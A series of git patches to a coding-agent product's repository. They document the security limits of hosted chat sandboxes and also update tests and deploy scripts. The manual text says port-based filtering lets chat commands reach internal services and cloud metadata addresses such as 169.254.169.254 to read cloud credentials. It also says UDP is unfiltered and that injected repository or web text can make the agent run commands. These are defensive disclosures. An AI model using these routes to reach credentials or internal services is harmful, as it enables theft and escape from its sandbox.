backups, upgrades, images and the leak diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 749126f923..e490a0ad9e 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -87,25 +87,46 @@ A shared chat always runs in the owner's folder on the machine, with the owner's By default the operator holds no right on a private chat: it is refused with `There is no such chat.` and is not told the chat exists. When the policy makes new chats not private, or says the operator sees private things, the operator's list shows the chat's identifier, owner, state and times and nothing else, and the operator still cannot open it, read its history or see its folder. Whoever runs the machine itself is another matter: see *what can the operator of the server see*. -## bots and hosted chats — what a bot may do with a chat, and what it may not +## bots and hosted chats — what a bot may do with a chat, and what it may not, such as whether a bot with view scope can start a hosted chat -A bot (see *Bots*) can start (when the organization's policy lets agents create things), list, open, stop and delete hosted chats, and it holds exactly what the person who made it holds on each chat right now, narrowed by its scope. If that person loses access to someone else's chat, the bot loses it on its very next request, and an open window of the bot's is ended within a heartbeat. A chat the bot starts is owned by that person and recorded as made by the bot. A bot cannot touch a person's stored keys (`/v1/hosted/keys`): that answers `a bot cannot use this yet`. A bot that holds the `run` verb on its creator's own chat can type into it, as its creator would; a bot whose scope leaves `run` out is treated like a guest. On someone else's chat a bot gets what its creator's role gives, and no more. +A bot can start a hosted chat if the organization's policy lets agents create things and the bot's scope holds `run`. By default, `edit` and `full` hold `run`, and `view` and `comment` leave it out. A bot without `run` reads `This bot's scope does not let it run chats, so it cannot start one. Ask the person who made it.` The server makes no chat. A chat the bot starts belongs to the person who made the bot and is recorded as made by the bot. + +A bot can list, open, stop and delete hosted chats within the access its creator holds, narrowed by its scope. If the creator loses access to someone else's chat, the bot loses it on its next request, and the server closes the bot's window within a heartbeat. A bot cannot touch a person's stored keys (`/v1/hosted/keys`), which answers `a bot cannot use this yet`. A bot that holds `run` on its creator's own chat can type into it as its creator would. A bot whose scope leaves `run` out is treated like a guest. ## may I still start a chat on my own computer after joining an organization — the hosting policy An organization is its own account, separate from your personal one: you switch between them, and what you make in the organization's account belongs to the organization. When the organization runs hosted chats, every chat in its account is a hosted chat, and a chat does not start on your computer from inside it. There is no setting on your side to override that; the way to work on your own computer is to switch to your personal account, which does not see the organization's chats or files. The organization's policy has a `hosting` section for this. `local_sessions` is `allow`, `warn` or `refuse`; left empty it means `refuse` when the organization runs hosted chats and `allow` when it does not, so an organization with no machine for chats behaves as before. `GET /v1/hosted/sessions` reports the value that applies as `hosting.local_sessions`, with the words to show for it: for `refuse` `This organization runs your chats on its own server, so they do not start on this computer. To work here instead, switch to your personal account, which does not see the organization's chats or files.` and for `warn` `This organization keeps your chats on its own server. A chat started on this computer is not part of the organization's account.` Only the operator changes the policy, with `PUT /v1/org/policy`. `max_session_cost_usd` is what one hosted chat may spend before it is paused; zero keeps `CODEAF_HOSTED_SESSION_CAP_USD` (five dollars unless set). This version reports the setting and enforces the cost limit; `codeaf` on a computer does not yet act on `local_sessions`. + ## what can the operator of the server see — honest limits of a hosted chat Whoever runs the machine, and whoever is its administrator on the hosting platform, can read everything on its disk. A hosted chat is not private from them. The disk is not encrypted by the server software itself. -The chat can reach the internet. A command in it can connect only to the TCP ports the operator allowed (443, 80, 22 and 9418 unless the operator changed the list) and to the organization's own server; any other port is refused by the machine and the command fails with `permission denied` and one line that says so. That keeps a chat off the other services the organization runs on the same private network. It filters by port and not by address, so a hostile service listening on one of the allowed ports is still reachable, and a service of your own on some other port (a dev server on 3000, say) cannot be reached by a command either, even from the same chat; the operator can add ports. Each of the organization's services should still ask for its own sign-in. +The chat can reach the internet. The sandbox allows TCP connections on the ports the operator allowed (443, 80, 22 and 9418 by default) and the ports used for the organization's own server address. Other TCP ports fail with `permission denied`, even for a service the chat itself started. Any reachable host on an allowed port can answer, including internal services and a cloud metadata address such as `169.254.169.254`. See *can a hosted chat reach the cloud metadata address* for what the operator should block. -A chat has no key of the organization's, no key of yours and no GitHub access of yours. It reaches a model only through the organization's server, with access made for that chat alone, and reaches git only through the same server, which adds your GitHub access to each request. That chat access ends when you stop or delete the chat, and after seven days. If the organization's server restarts, a chat that was running keeps working, and the access is still good. +A chat has no key of the organization's, no key of yours and no GitHub access of yours. It reaches a model only through the organization's server, with access made for that chat alone, and reaches git only through the same server, which adds your GitHub access to each request. That access ends after seven days or at once when you stop or delete the chat or the operator removes you from the organization. If the chat machine answers during the removal, the server deletes your chats. A restart of the organization's server leaves a running chat's valid access in place. If you do not want your code on a machine the organization runs, do not open it with `--org`. +## can a hosted chat reach the cloud metadata address or other services on my network — the limit is by port, not by address + +The Linux kernel's Landlock fence filters TCP connections by port. It allows 443, 80, 22 and 9418 by default (`CODEAF_SESSIONHOST_CONNECT_PORTS`) and the ports used for the organization server's own address. An allowed port can reach any host the chat's machine can reach, including services on the private network, the Docker host at the container network's gateway, and cloud metadata at `169.254.169.254` or AWS ECS task credentials at `169.254.170.2`. UDP is unfiltered. A command that reaches a cloud metadata service can read the machine's cloud credentials. The chat gets a short fixed environment, so the container's cloud credential variables do not pass into it. Text in a repository or web page can make the chat's agent run a command too. + +The port fence worked on a flat test network, where the metadata address did not answer, so reachability on a cloud machine is untested. When the sessionhost starts it connects to those addresses, sends nothing, and logs one warning line naming any that answer. + +The operator should block `169.254.0.0/16` and, on AWS, `fd00:ec2::254` at the host or VPC firewall for traffic from the machine that runs chats. On AWS also require IMDSv2 and set the hop limit to 1. Give the stack its own network, firewall the Docker bridge from host services, and keep internal services off allowed ports such as 80 and 443 or give each its own sign-in. On Railway, put codeaf in its own project and keep other services out of that environment. See `deploy/org/README.md`, *Known limits*, for the operator's firewall and cloud identity guardrails. codeaf has no address filter built in. + +## is there a disk or memory limit for each hosted chat — what happens to a person's chats when I remove them while the chat machine is down, and seccomp + +A hosted chat has no total disk or memory quota. Its Linux user is limited to 512 processes, and commands are limited to 4096 open files and 10 GiB per file, with no core dumps. A 200 MB write and a 256 MB allocation both succeeded in testing. One chat can fill the sessions volume or the machine's memory and slow or stop others. `CODEAF_SESSIONHOST_MAX_RUNNING` and `CODEAF_SESSIONHOST_MAX_PER_PERSON` default to 20 and 3. Bound the `sessionhost` service with memory, process and CPU limits, a fixed-size volume and a disk alert. + +Removing someone immediately ends their chats' model and git access and clears their stored keys and GitHub access. If the chat machine does not answer, removal still succeeds. The server ends the remaining chats' shares and makes them private so every route answers `There is no such chat.` Their Linux users and folders stay on the machine. Check that the chats are gone and repeat the removal once the machine answers if any remain. Removal never retries on its own. + +The sessionhost relies on the container runtime's default seccomp profile to block user namespaces and calls such as `mount` and `chroot`. It sets no-new-privileges and drops every capability from chat processes. Never use `seccomp=unconfined` or a profile looser than Docker's default. Check that your platform applies equivalent restrictions. With a looser profile, testing showed user namespaces and user ID maps allowed, which exposes more of the kernel to chat commands. Landlock and the chat's Linux user still apply inside those namespaces by design. That was untested. + +Testing used no front proxy, so request framing and WebSocket upgrades through one (Railway's edge, nginx) are untested. The test stub model had no price, so the priced-model path was read in the code and not run end to end. + ## what happens to a hosted chat when I disconnect — the turn goes on and I come back to it A turn that is running on the server when you close its desktop window, disconnect, or quit `codeaf chat --org` goes on running there. Reopen the chat in the organization window or with `codeaf chat --org` to read the result. Stop in the desktop chat interrupts the current turn. The server's stop action below ends the chat's processes. @@ -122,9 +143,9 @@ A chat counts as running while any process of it is running, including a backgro ## stop or delete a chat on the server — and what is left behind -Stopping a chat ends every process it started, including ones that detached themselves, and takes away its model access. Its files stay, and opening it again starts it again. +Stopping a chat ends every process it started, including ones that detached themselves, and takes away its model access. Its own folder and files stay, and opening the chat again starts it again. -Deleting a chat does the same and then removes its folder. Afterwards it is gone: `There is no such chat.` +Each stop, delete or start clears what the chat's Linux user left in `/tmp`, `/dev/shm` and `/var/tmp` and in System V shared memory, message queues and semaphores. These areas are shared by every chat on the machine. The cleanup keeps a later chat that gets the same Linux user from finding the leftovers. Deleting a chat also removes its own folder. Afterwards the server answers `There is no such chat.` Both are done through the organization's server by its owner, or by someone who holds the `manage` permission on the chat (the `full` role). Anyone else who can see the chat reads `Only this chat's owner, or someone it is shared with in full, can stop or delete it.`, and anyone who cannot reads `There is no such chat.` Neither affects another chat. @@ -168,11 +189,13 @@ On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `COD `codeaf sessionhost probe` prints what the machine can do and exits non-zero when it cannot keep chats apart. The machine runs as root inside its container and keeps only the capabilities it needs to switch users; it holds no organization secret except the shared one and no model key. The key stays on the organization's server, which adds it to each model request. -## what does a hosted chat cost and who pays — the organization's key, the spending limit and the monthly limit +## what does a hosted chat cost and who pays — the organization's key, the spending limit and the monthly limit, and why my chat says it is already making as many requests as it may at once + +A hosted chat calls its model through the organization's server with the organization's key unless you stored your own. Calls are counted to the cent in your My space, and the operator sees only totals. At the chat's spending limit (five dollars by default), you read `This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on.` At your monthly limit (twenty dollars by default), you read `You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings.` -A hosted chat calls its model through the organization's server, with the organization's key unless you stored your own. Every call is counted to the cent in your My space on that server, and the organization's operator sees only totals. A chat stops at its own spending limit, five dollars unless the operator set another, and you read: `This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on.` Your My space has a monthly limit too, twenty dollars unless the operator set another, and at it you read: `You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings.` +A refused message makes no model call and costs nothing. Calls with your own key count against both limits. If the provider refuses the organization's key, the chat pauses without retrying and you read `The organization's model access was refused by its provider, so this chat paused. Ask the organization's operator to check the model key.` If it refuses your own key, you read `Your own model key was refused by its provider, so this chat paused. Replace it or remove it, then send your message again.` The chat never falls back to the organization's key. -A refused message makes no model call and costs nothing. Calls made with your own key are counted too, against both limits. If the model's provider turns down the organization's key, the chat pauses and you read, once, as a plain sentence and not as a failure that keeps retrying: `The organization's model access was refused by its provider, so this chat paused. Ask the organization's operator to check the model key.` If it turns down the key you stored yourself, you read `Your own model key was refused by its provider, so this chat paused. Replace it or remove it, then send your message again.` The organization's key is never used instead of yours. A chat that is making as many requests as it may at once, four, reads: `This chat is already making as many requests as it may at once. Try again in a moment.` +A hosted chat can make up to four model calls at once, subject to what the calls already running hold against its spending limit. A priced call holds its estimated cost, and an unpriced call holds half of the limit that was left when the chat's model connection opened (never more than what is left), so once the chat has spent anything a second unpriced call is refused while the first is running, and once half the limit is spent only one such call can run at a time. A fifth request or one that cannot fit because of what is held never reaches the model and costs nothing, and you read `This chat is already making as many requests as it may at once. Try again in a moment.` ## keep my own model key or GitHub access on the organization's server — stored sealed, only yours @@ -184,4 +207,4 @@ Each person's keys are sealed on the server's disk under a key of that person's A hosted chat is set up so that `git clone https://github.com//.git` and `git push` work with your GitHub access without the chat ever holding it. The commands go to the organization's server, which adds your access to each request and sends it on; only the git hosts the operator allowed (GitHub unless changed) are reached this way, and one line per git operation is kept, which you can read with `GET /v1/hosted/audit` (your own lines only). -If you have no GitHub access stored you read: `You have no GitHub access stored on this server yet. Add it, then try again.` A host the operator did not allow reads: `This server does not reach that git host for chats.` The chat itself holds only access for that one chat, which ends when the chat is stopped. It is not limited to one repository: your GitHub access decides what you can reach. +If you have no GitHub access stored you read: `You have no GitHub access stored on this server yet. Add it, then try again.` A host the operator did not allow reads: `This server does not reach that git host for chats.` The chat itself holds access for that one chat. It ends after seven days or at once if you stop or delete the chat or the operator removes you from the organization. Your GitHub access decides which repositories you can reach. diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index 74ae1dbab4..b5645dfa61 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -33,7 +33,7 @@ A person can make a **bot**: a named identity with its own token, for a script o A bot is never more than the person who made it. On every request it holds what its creator holds on that thing right now, narrowed by the organization policy's scope for agents (`agents.scopes` for `bot:`, else the default scope) and by the scope the person gave it when making it (a role name from the policy). When its creator loses a share, the bot loses it on its next request. When the operator removes its creator from the organization, the creator's bots stop at once, and stay stopped if that person is added again. Nothing is copied: no grant ever names a bot. -What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases and shared resources, and only reads My space and the policy and people lists. A bot can also start, list, open, stop and delete hosted chats on the organization's server, as its creator, and cannot touch a person's stored keys there: see *bots and hosted chats*. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. +What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases and shared resources, and only reads My space and the policy and people lists. A bot can also start (only when its scope holds `run`, which the `edit` and `full` roles do and `view` and `comment` do not), list, open, stop and delete hosted chats on the organization's server, as its creator, and cannot touch a person's stored keys there: see *bots and hosted chats*. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. ## Who sets the sharing rules — the operator's organization policy diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index c759e43412..443035d7eb 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3984,6 +3984,13 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { // Joining, living in and hosting an organization, in the words of the // person who joins one and of the person who runs one. {"can my admin read my chats", "organization-hosted-sessions"}, + {"can a hosted chat reach the cloud metadata address", "organization-hosted-sessions"}, + {"can a chat on the organization's server connect to other services on my network", "organization-hosted-sessions"}, + {"can a hosted chat reach other machines on my company network", "organization-hosted-sessions"}, + {"is there a disk or memory limit for each hosted chat", "organization-hosted-sessions"}, + {"what happens to a person's chats when I remove them while the chat machine is down", "organization-hosted-sessions"}, + {"why does my chat say it is already making as many requests as it may at once", "organization-hosted-sessions"}, + {"can a bot with view scope start a hosted chat", "organization-hosted-sessions"}, {"can my company's IT see my conversations in the organization", "organization-hosted-sessions"}, {"who pays for a shared chat", "organization-hosted-sessions"}, {"who pays for a chat I shared with a teammate", "organization-hosted-sessions"}, From 685762640fd0730d7cc772459e72d901a347336b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:33:01 -0500 Subject: [PATCH 141/176] change entry 2913: origin check, bot scope, hosted limits Co-Authored-By: Claude Sonnet 5.5 --- .../2913-origin-check-bot-scope-hosted-limits.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 docs/changes/unreleased/2913-origin-check-bot-scope-hosted-limits.md diff --git a/docs/changes/unreleased/2913-origin-check-bot-scope-hosted-limits.md b/docs/changes/unreleased/2913-origin-check-bot-scope-hosted-limits.md new file mode 100644 index 0000000000..6bbbdefe45 --- /dev/null +++ b/docs/changes/unreleased/2913-origin-check-bot-scope-hosted-limits.md @@ -0,0 +1,15 @@ +--- +kind: fixed +title: Another site cannot open a chat connection, a bot needs run to start a chat, and limits are stated +pr: 2913 +surface: [factory, docs, build] +invalidates: + - "The hosted chat's websocket was believed safe from a hostile web page because the sign-in cookie is SameSite=Strict, but a WebSocket is exempt from the same-origin policy and a page on a sibling name of the same site is still sent that cookie, and the server checked no Origin. Now any request that upgrades the connection and carries an Origin other than the server's own (the host the request was sent to, or the host of its public address) answers 403 with This page is from another site, so it cannot open a chat connection here. A request with no Origin, which is every request the command line and the desktop app's engine make, is accepted as before." + - "A bot narrowed to the view scope was believed unable to act beyond that scope, but it could still start a hosted chat, which it could then only watch. Now starting a chat needs the bot to hold run on the chat it would own, narrowed by its scope and the policy's agent scope, and a bot without it answers 403 with This bot's scope does not let it run chats, so it cannot start one. Ask the person who made it." + - "The manual said a chat that makes as many requests as it may at once, four, reads the busy sentence, as though four were the only way to read it. Four calls in flight is the limit for a priced model. For a model with no price the model door also holds half the spending limit that was left for every call in flight, so a second call at the same time reads the same sentence as soon as the chat has spent anything." + - "The manual and the operator README said a chat's model and git access ends when the chat is stopped or deleted and after seven days, and that a stopped chat's files stay and a deleted one's folder goes. It also ends when the operator removes the person, and whatever the chat's user left in /tmp, /dev/shm, /var/tmp and in System V shared memory, queues and semaphores is removed on stop, delete and start." + - "The network limit was documented as a limit by port, which read as keeping a chat off other machines. It filters by port and not by address, so ports 80 and 443 reach any host the chats' machine can reach, including a cloud instance metadata address such as 169.254.169.254, and UDP is not filtered. The operator README, the trust model and the manual now say so, with the guardrails to apply outside codeaf, and say there is no per-chat disk or memory quota, that a removal while the chats' machine is down closes the chats but needs the removal repeated, that the sessionhost relies on the container runtime's default seccomp profile, and that a front proxy and a priced model were not tested end to end." +--- + +Found by the ship-ready test round on the organization line. The sessionhost now also logs one warning line at start when this machine answers on a cloud metadata address; +it never refuses to start over it, because the network closes that gap and codeaf cannot. From 0207f82f89cbbd5c55a6071597bab05f4d1a5553 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:55:22 -0500 Subject: [PATCH 142/176] test: a bot's row verbs are read from a chat its person's edit bot made TestHostedRowVerbsOfABotAreItsScope used a view bot to start the chat whose row verbs it then checked. A view bot can no longer start a chat (it needs run), so the chat is started by an edit bot, whose own answer must be its scope alone (run and what rides with it, never share or manage), and the view bot's rows are read from it as before. The contract (a bot's rows hold what its person holds, narrowed by its scope) is unchanged. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_row_verbs_test.go | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/internal/factory/serve/hosted_row_verbs_test.go b/internal/factory/serve/hosted_row_verbs_test.go index 250925fb9f..95e1e0daab 100644 --- a/internal/factory/serve/hosted_row_verbs_test.go +++ b/internal/factory/serve/hosted_row_verbs_test.go @@ -156,16 +156,21 @@ func TestHostedRowVerbsMatchWhatTheWireEnforces(t *testing.T) { // P2-2 // Contract 1: a bot's rows hold what its person holds, narrowed by its scope, the way its wire does. +// (A view bot can no longer START a chat, because starting one needs run; so the chat a view bot sees +// is one its person's other bot made, and the view bot's own rows are read from it.) func TestHostedRowVerbsOfABotAreItsScope(t *testing.T) { rg := newHostedRig(t) + editBot := rg.contractBot(t, "abir", "Edit bot", "edit") viewBot := rg.contractBot(t, "abir", "View bot", "view") var made struct { ID string Verbs []string } - rg.botDo(t, viewBot.Token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, &made) - if !reflect.DeepEqual(made.Verbs, []string{"view"}) { - t.Fatalf("a view bot's new chat answered verbs %v, want view only", made.Verbs) + rg.botDo(t, editBot.Token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, &made) + // The chat is its person's, who holds every verb on it, so the edit bot's answer is its scope alone: + // run and what rides with it, and never share or manage. + if got := slices.Sorted(slices.Values(made.Verbs)); !reflect.DeepEqual(got, []string{"answer", "comment", "edit", "run", "steer", "view"}) { + t.Fatalf("an edit bot's new chat answered verbs %v, want its scope's", made.Verbs) } shared := rg.create(t, "mia") hostedGrant(t, rg, "mia", shared, "abir", "edit") @@ -176,7 +181,7 @@ func TestHostedRowVerbsOfABotAreItsScope(t *testing.T) { } } rg.botDo(t, viewBot.Token, http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &listed) - if len(listed.Sessions) != 1 || len(listed.Shared) != 1 || + if len(listed.Sessions) != 1 || listed.Sessions[0].ID != made.ID || len(listed.Shared) != 1 || !reflect.DeepEqual(listed.Sessions[0].Verbs, []string{"view"}) || !reflect.DeepEqual(listed.Shared[0].Verbs, []string{"view"}) { t.Fatalf("a view bot's rows = %+v", listed) } From 50a547c28de4fd0b8a95cfcc93588e8598649479 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:38:32 -0500 Subject: [PATCH 143/176] fix(deploy/org): operator-link.sh no longer prints a link that was already used The server log keeps the operator link of every start, so after the organization was claimed `./operator-link.sh` still printed the newest one: a spent link, with the script's own "already claimed" message never reached. Found walking the Compose path as a stranger. The script now asks the server to check the link (a read: it claims nothing and uses nothing up) and reports a used, expired or retired link instead of printing it. If the server cannot be asked it prints what the log has, as before. operator_link_test.sh runs it offline against a stand-in for `docker compose` and is a step of the org-images workflow beside the Railway script tests. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 2 + deploy/org/operator-link.sh | 19 +++++++- deploy/org/operator_link_test.sh | 79 ++++++++++++++++++++++++++++++++ 3 files changed, 99 insertions(+), 1 deletion(-) create mode 100755 deploy/org/operator_link_test.sh diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index a842da7528..a902f1331d 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -70,6 +70,8 @@ jobs: run: deploy/org/gate/upload-check.sh - name: Railway scripts pass offline tests run: deploy/org/railway/railway_scripts_test.sh + - name: The operator link script passes offline tests + run: deploy/org/operator_link_test.sh - name: Planted fake secrets must fail the gate run: deploy/org/gate/selftest.sh - name: Planted files must not enter the build context diff --git a/deploy/org/operator-link.sh b/deploy/org/operator-link.sh index d1bb6f1755..2b2ae85d93 100755 --- a/deploy/org/operator-link.sh +++ b/deploy/org/operator-link.sh @@ -3,6 +3,10 @@ # once: whoever opens it first becomes the operator. The server names itself by the address it listens on, so # the link carries `http://[::]:8787` unless CODEAF_PUBLIC_DOMAIN names the public host (README.md, "Claim the # organization"); the link is only accepted with exactly the address the server gave it, so it is printed as is. +# +# The log keeps the link of every start, a spent one included, so the newest link in it is not proof that the +# organization can still be claimed. The server is asked about it before it is printed, and a spent, expired or +# retired one is reported instead of handed over. If the server cannot be asked, the link is printed as the log has it. set -eu cd "$(dirname "$0")" DC="${COMPOSE:-docker compose}" @@ -12,4 +16,17 @@ if [ -z "$link" ]; then echo "instead), or the server is not up yet: docker compose ps, docker compose logs codeaf." >&2 exit 1 fi -printf '%s\n' "$link" +# The check only reads: it never claims, mints a session or uses the link up. It runs inside the container, where +# the server answers on its own port, and the link goes in on stdin so it is not on a command line. +state=$(printf '{"verb":"check","link":"%s"}' "$link" | + $DC exec -T codeaf curl -s -H 'Content-Type: application/json' --data-binary @- http://127.0.0.1:8787/v1/factory-access 2>/dev/null | + sed -n 's/.*"state":"\([a-z_]*\)".*/\1/p' | head -n 1 || true) +case "$state" in + ready | "") printf '%s\n' "$link" ;; + *) + echo "The operator link in the server's log is no longer good (the server says: $state). Either this organization" >&2 + echo "was already claimed (its operator signs in instead), or the link ran out: one lasts 24 hours." >&2 + echo "If nobody has claimed it yet, docker compose restart codeaf prints a fresh one." >&2 + exit 1 + ;; +esac diff --git a/deploy/org/operator_link_test.sh b/deploy/org/operator_link_test.sh new file mode 100755 index 0000000000..11c677f534 --- /dev/null +++ b/deploy/org/operator_link_test.sh @@ -0,0 +1,79 @@ +#!/usr/bin/env bash +# Exercises operator-link.sh offline, against a stand-in for `docker compose` that answers from files. +set -eu +cd "$(dirname "$0")" +script=$PWD/operator-link.sh +work=$(mktemp -d) +trap 'rm -rf "$work"' EXIT +unset COMPOSE FAKE_LOG FAKE_STATE FAKE_EXEC_FAILS + +# The stand-in: `logs` prints the log file; `exec -T codeaf curl ...` keeps what came in on stdin and answers +# with a state, or fails the way a container that is down does. +cat >"$work/dc" <<'FAKE' +#!/usr/bin/env bash +case "$1" in + logs) cat "$FAKE_LOG" ;; + exec) + cat >"$FAKE_STDIN" + [ -z "${FAKE_EXEC_FAILS:-}" ] || exit 1 + printf '{"state":"%s","factory":{"name":"x"}}\n' "$FAKE_STATE" ;; + *) exit 64 ;; +esac +FAKE +chmod +x "$work/dc" +export COMPOSE=$work/dc FAKE_LOG=$work/log FAKE_STDIN=$work/stdin + +old='codeaf://factory/join?operator=true&url=http%3A%2F%2F%5B%3A%3A%5D%3A8787#token=aaaa' +new='codeaf://factory/join?operator=true&url=https%3A%2F%2Forg.example.com#token=bbbb' +printf 'starting\noperator access link: %s\r\nserving\noperator access link: %s\r\n' "$old" "$new" >"$work/log" + +failed=0 +row() { + local name=$1 + shift + if "$@"; then + printf 'PASS: %s\n' "$name" + else + printf 'FAIL: %s\n' "$name" + failed=1 + fi +} +run() { + status=0 + "$script" >"$work/out" 2>"$work/err" "$work/empty-log" + FAKE_LOG=$work/empty-log FAKE_STATE=ready run + [ "$status" = 1 ] && [ ! -s "$work/out" ] && grep -qi 'No operator link' "$work/err" +} +row 'a log with no link says so and exits 1' no_link + +exit "$failed" From cdf4acbbf5ba04a6b825957910e2412c4bd15354 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:39:27 -0500 Subject: [PATCH 144/176] fix(deploy/org): the scripted git host has a profile of its own, so `stub` no longer crash-loops it gitstub refuses to start without GITSTUB_TOKEN, which only smoke.sh makes. In the `stub` profile that left a container restarting forever for anyone who turned the scripted model on by hand (the keyless way to try an organization), and `docker compose ps` never reached all-healthy. It is now profile `gitstub`; smoke.sh asks for it with the hosted part, as it already asked for the token there. compose_profiles_test.sh reads `docker compose config --services` for each profile and is a step of the org-images workflow. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 2 ++ deploy/org/compose.yaml | 4 ++- deploy/org/compose_profiles_test.sh | 44 +++++++++++++++++++++++++++++ deploy/org/smoke.sh | 2 +- 4 files changed, 50 insertions(+), 2 deletions(-) create mode 100755 deploy/org/compose_profiles_test.sh diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index a902f1331d..3db6d5d578 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -72,6 +72,8 @@ jobs: run: deploy/org/railway/railway_scripts_test.sh - name: The operator link script passes offline tests run: deploy/org/operator_link_test.sh + - name: Compose profiles turn on the services they should + run: deploy/org/compose_profiles_test.sh - name: Planted fake secrets must fail the gate run: deploy/org/gate/selftest.sh - name: Planted files must not enter the build context diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml index ad1491240d..56ac0e3967 100644 --- a/deploy/org/compose.yaml +++ b/deploy/org/compose.yaml @@ -241,9 +241,11 @@ services: STUB_COST_USD: ${STUB_COST_USD:-} # --- Keyless smoke test only: a git host that wants the person's access and records who asked --- + # Its own profile, `gitstub`, because it refuses to start without GITSTUB_TOKEN (smoke.sh makes one for each run). In + # the `stub` profile it crash-looped for anyone who turned the scripted model on by hand and had no such token. gitstub: <<: *defaults - profiles: ["stub"] + profiles: ["gitstub"] image: ${GITSTUB_ORG_IMAGE:-codeaf-org/gitstub:local} build: { context: ., dockerfile: gitstub.Dockerfile } environment: diff --git a/deploy/org/compose_profiles_test.sh b/deploy/org/compose_profiles_test.sh new file mode 100755 index 0000000000..f6ab8f283a --- /dev/null +++ b/deploy/org/compose_profiles_test.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +# Checks which services each Compose profile turns on, from the file alone (`docker compose config` starts nothing). +# The scripted model belongs to `stub`; the scripted git host, which will not start without the token the smoke test +# makes, belongs to `gitstub`, so turning the scripted model on by hand cannot leave a container crash-looping. +set -eu +cd "$(dirname "$0")" +export AGENTFIELD_API_KEY=offline-test +DC="${COMPOSE:-docker compose}" + +services() { + # --env-file names .env.example, so a .env of the operator's, with profiles of its own in it, is not read. + # shellcheck disable=SC2086 + $DC --env-file .env.example "$@" config --services | sort | tr '\n' ' ' +} +has() { [[ " $1" == *" $2 "* ]]; } + +failed=0 +row() { + local name=$1 + shift + if "$@"; then + printf 'PASS: %s\n' "$name" + else + printf 'FAIL: %s\n' "$name" + failed=1 + fi +} + +plain=$(services) +stub=$(services --profile stub) +hosted_stub=$(services --profile hosted --profile stub) +gitstub=$(services --profile gitstub) + +row 'no profile: the five services, no stub and no sessionhost' \ + bash -c '[ "$1" = "agentfield codeaf pr-af runner swe-af " ]' _ "$plain" +row 'stub turns the scripted model on and not the git host' \ + bash -c 'case " $1" in *" modelstub "*) ;; *) exit 1 ;; esac; case " $1" in *" gitstub "*) exit 1 ;; esac' _ "$stub" +row 'stub with hosted adds the sessionhost and still not the git host' \ + bash -c 'case " $1" in *" sessionhost "*" "*) ;; *) exit 1 ;; esac; case " $1" in *" gitstub "*) exit 1 ;; esac' _ "$hosted_stub" +row 'gitstub is its own profile' has "$gitstub" gitstub +row 'the smoke test asks for the gitstub profile when it runs the hosted part' \ + grep -q -- '--profile hosted --profile gitstub' smoke.sh + +exit "$failed" diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index cd4bdf08fd..ef636d72ee 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -37,7 +37,7 @@ FULL=1 if [ "${SMOKE_HOSTED_ONLY:-0}" = 1 ]; then HOSTED=1; FULL=0; SERVICES="codeaf sessionhost modelstub gitstub"; fi HOSTED_FLAGS= if [ "$HOSTED" = 1 ]; then - HOSTED_FLAGS="--env-file .env.stub.hosted --profile hosted" + HOSTED_FLAGS="--env-file .env.stub.hosted --profile hosted --profile gitstub" # The stub git host wants this as the person's GitHub access; it is made for this run and is worth nothing. GITSTUB_TOKEN="${GITSTUB_TOKEN:-$(od -An -N16 -tx1 /dev/urandom | tr -d ' \n')}" export GITSTUB_TOKEN From 1f322cda988ee0133a4490957c9e1a5003df605e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:42:24 -0500 Subject: [PATCH 145/176] fix(cli): `codeaf --help` names --org, the way into an organization's hosted chats The flag was in `codeaf chat`'s own usage error and in `codeaf chat --help`, and nowhere on the page an operator reads first, so a person setting up an organization could not find how a 